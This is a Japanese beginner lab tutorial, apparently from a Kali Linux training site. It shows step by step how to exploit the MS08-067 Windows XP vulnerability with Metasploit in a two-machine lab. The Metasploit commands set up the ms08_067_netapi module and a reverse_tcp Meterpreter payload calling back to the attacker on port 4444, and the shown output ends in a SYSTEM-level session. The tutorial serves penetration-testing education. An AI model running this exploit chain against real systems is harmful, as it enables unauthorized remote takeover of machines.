Metasploit で Windows XP ターゲットの MS08-067 をエクスプロイトする

Kali LinuxBeginner
オンラインで実践に進む

はじめに

この実験 (lab) では、最もよく知られている Windows の脆弱性の一つである MS08-067 を悪用するために Metasploit Framework を使用する方法を学びます。この脆弱性は Windows システムの Server Service に存在し、リモートコード実行を可能にします。

強力なペネトレーションテストツールである Metasploit を使用して、ターゲットとなる Windows XP マシンに対するエクスプロイトを選択、設定、および実行します。この実験の終わりには、ターゲット上で Meterpreter セッションを獲得し、リモートコントロールを可能にします。

この実験のために、環境は 2 台のマシンで事前に設定されています。

  • あなたのアタッカーマシン (この Ubuntu VM) は、IP アドレス 192.168.1.100 を持ちます。
  • 脆弱な Windows XP ターゲットマシンは、IP アドレス 192.168.1.101 を持ちます。

すべてのアクションは、あなたのアタッカーマシン上のターミナルから実行します。

ms08_067_netapi エクスプロイトモジュールの選択

このステップでは、Metasploit コンソールを起動し、MS08-067 脆弱性に対応する適切なエクスプロイトモジュールを選択します。

まず、ターミナルを開きます。すべてのコマンドはここで実行します。Metasploit Framework には msfconsole というコマンドラインインターフェイスが付属しています。バナーを抑制するために -q (quiet) フラグを付けて起動しましょう。

msfconsole -q

ロードされると、msf6 > のような Metasploit プロンプトが表示されます。ここで、ms08-067 に関連するエクスプロイトモジュールを検索できます。

search ms08-067

一致するモジュールのリストが表示されます。私たちが関心を持っているのは exploit/windows/smb/ms08_067_netapi です。

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great      Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

このエクスプロイトを使用するには、use コマンドの後にモジュール名を入力します。

use exploit/windows/smb/ms08_067_netapi

プロンプトが、この特定のエクスプロイトモジュールのコンテキスト内にいることを示すように変化します。

msf6 exploit(windows/smb/ms08_067_netapi) >

Windows XP ターゲットに RHOSTS オプションを設定する

このステップでは、ターゲットの IP アドレスを設定してエクスプロイトモジュールを構成します。ほとんどのエクスプロイトは、誰を攻撃するかを知る必要があります。Metasploit では、ターゲットアドレスは RHOSTS (Remote Hosts) オプションを使用して設定されます。

まず、show options コマンドを使用して、このエクスプロイトで利用可能なオプションを表示しましょう。

show options

設定可能なオプションの表が表示されます。RHOSTS は必須ですが、まだ設定されていないことに注意してください。

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The target port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

...

次に、RHOSTS オプションを、Windows XP ターゲットの IP アドレスである 192.168.1.101 に設定します。

set RHOSTS 192.168.1.101

Metasploit は変更を確認します。

RHOSTS => 192.168.1.101

これで、Metasploit にどのマシンをターゲットにするかを指示しました。

windows/meterpreter/reverse_tcp のようなリバース TCP ペイロードを選択する

このステップでは、エクスプロイトが成功した後にターゲットシステムに配信されるペイロードを選択します。ペイロードは、ターゲットマシン上で実行されるコードです。ここでは、強力で柔軟なペイロードである Meterpreter を使用します。これはインタラクティブなシェルを提供します。

windows/meterpreter/reverse_tcp ペイロードは、侵害されたターゲットマシンに攻撃者であるあなたに接続を強制します。これは、ファイアウォールがターゲットへの直接接続をブロックする可能性がある実際のシナリオで、より成功することがよくあります。

ペイロードを設定するには、set payload コマンドを使用します。

set payload windows/meterpreter/reverse_tcp

Metasploit はペイロードが設定されたことを確認します。

payload => windows/meterpreter/reverse_tcp

ペイロードが選択されたので、次のステップでそのオプションを構成する必要があります。

LHOST および LPORT ペイロードオプションを設定する

リバースペイロードを選択したので、それを自分のマシンに接続するように構成する必要があります。これには、主に 2 つのオプションを設定する必要があります:LHOSTLPORT です。

  • LHOST (Local Host): これは攻撃者マシンの IP アドレスで、ペイロードが接続し直す場所です。
  • LPORT (Local Port): これは、ターゲットからの着信接続をリッスンする自分のマシン上のポートです。

導入で述べたように、攻撃者マシンの IP は 192.168.1.100 です。LHOST をこの値に設定しましょう。

set LHOST 192.168.1.100

確認が表示されます:

LHOST => 192.168.1.100

次に、リスニングポートを設定しましょう。一般的な選択肢は 4444 です。

set LPORT 4444

ここでも、確認が表示されます:

LPORT => 4444

再度 show options を実行して、すべての必須オプション (RHOSTSLHOSTLPORT) が正しく設定されていることを確認できます。

エクスプロイトを実行し、Meterpreter セッションを取得する

すべてのオプションを設定したので、エクスプロイトを起動する準備ができました。これは、ターゲットシステムを侵害しようとする最後のステップです。

攻撃を開始するには、単純に exploit コマンドを使用します。

exploit

Metasploit は脆弱性をエクスプロイトしようとします。成功した場合、次のような出力が表示されます。ターゲット OS を自動的に検出し、エクスプロイトを送信し、次にペイロードを送信します。

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Automatically detecting the target...
[*] 192.168.1.101:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.101:445 - Selected Target: Windows XP SP3 English (AlwaysOn)
[*] 192.168.1.101:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:1035) at 2023-10-27 10:30:00 -0400

meterpreter >

最後の行に Meterpreter session 1 opened と表示されていることに注意してください。コマンドプロンプトが meterpreter > に変わりました。これは、ターゲットを正常に侵害し、アクティブなセッションを持っていることを意味します。

アクセスを確認するには、getuid のようなコマンドを実行して、ターゲットシステムでどのユーザーとして実行されているかを確認します。

getuid

出力には、あなたが最高の権限を持っていることが示されます。

Server username: NT AUTHORITY\SYSTEM

おめでとうございます。MS08-067 のエクスプロイトに成功しました!

まとめ

この実験では、Metasploit Framework を使用して、Windows XP ターゲット上の MS08-067 脆弱性を正常にエクスプロイトしました。

ペネトレーションテストの基本的なワークフローに従いました。

  1. 特定の exploit モジュール (exploit/windows/smb/ms08_067_netapi) を選択しました。
  2. ターゲットのアドレス (RHOSTS) を設定して、エクスプロイトを構成しました。
  3. 制御を得るためのペイロード (windows/meterpreter/reverse_tcp) を選択しました。
  4. ローカルホストとポート (LHOSTLPORT) でペイロードを構成しました。
  5. エクスプロイトを起動し、ターゲット上で高権限の Meterpreter セッションを取得しました。

この演習は、Metasploit のようなフレームワークを使用して、システムの脆弱性をテストおよびエクスプロイトする際の強力さとシンプルさを示しています。